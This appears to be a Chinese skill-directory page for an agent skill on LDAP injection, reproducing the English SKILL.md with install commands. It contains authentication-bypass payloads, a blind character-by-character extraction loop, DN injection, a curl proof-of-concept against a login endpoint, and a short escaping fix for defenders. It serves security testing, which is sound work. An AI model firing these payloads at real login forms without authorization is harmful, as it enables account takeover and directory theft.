安全6.5k · #14068
ldapi
它能做什么
这项技能说明用户输入如何改变 LDAP 目录搜索过滤器。适合检查登录表单和目录查询的安全测试人员。
适用场景
- ✓当登录表单通过 LDAP 等公司目录检查用户时。
- ✓当搜索页面根据用户输入构建目录查询时。
- ✓当你想检查过滤器能否被更改从而跳过密码检查时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md
阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
npx skills add BitterSecurity/Decepticon --skill ldapi
下载 SKILL.md,放进智能体的技能文件夹。
curl -L https://raw.githubusercontent.com/BitterSecurity/Decepticon/main/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md -o SKILL.md
可以这样问 AI
“请帮我检查,我们公司目录的登录表单能否通过特殊字符被绕过?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体发送能改变目录过滤器结构的字符,并观察结果的变化,这些变化还可能让数据被逐个字符地泄露。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
LDAP Injection
LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not).
User input concatenated into the filter string = injection.
1. Auth bypass
# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"
# Payload — comment-out rest of filter via wildcard
user = "*"
pw = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin
user = "admin)(|(uid=*"
pw = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored
2. Blind extraction
# Boolean-blind: probe each char via wildcard match
for c in string.printable:
payload = f"*)(uid=admin)(description={c}*)"
if "found" in response:
# next char is c
3. DN injection
# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)
4. Common vulnerable apps
- Custom auth backends w/ python-ldap or ldap3 lib direct-format
- Legacy Java apps w/ JNDI w/o escaping
- DokuWiki / older intranets
5. Tools
- Manual via Burp Repeater (most cases need careful crafting)
ldapsearchto verify directly once you have any cred- Burp Intruder w/ payloads from
_corpus/payloads/LDAP Injection/
6. PoC
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug
7. Severity
| Bug | Severity |
|---|---|
| Auth bypass via wildcard | Critical 9.8 |
| Blind extract of full LDAP directory | Critical 9.0 |
| DN injection enabling group escalation | High 8.0 |
8. Defender
import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')
Cross-references
- Upstream catalog:
skills/_corpus/payloads/LDAP Injection/ - AD attack patterns (different layer):
skills/ad/SKILL.md
常见问题
LDAP 注入能造成什么?
该技能指出,它可以绕过登录检查,并通过逐个字符测试来提取数据。
它涵盖 distinguished name 吗?
涵盖。当 DN 由用户输入构建时,它涵盖 DN 注入。
它提到了哪些应用?
它提到了自定义登录代码、较旧的 Java 应用以及旧的内部 wiki 等常见目标。
详情
作者的原始描述
LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.
热度
- GitHub 星标
- 6.5k
- 排名
- #14068
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …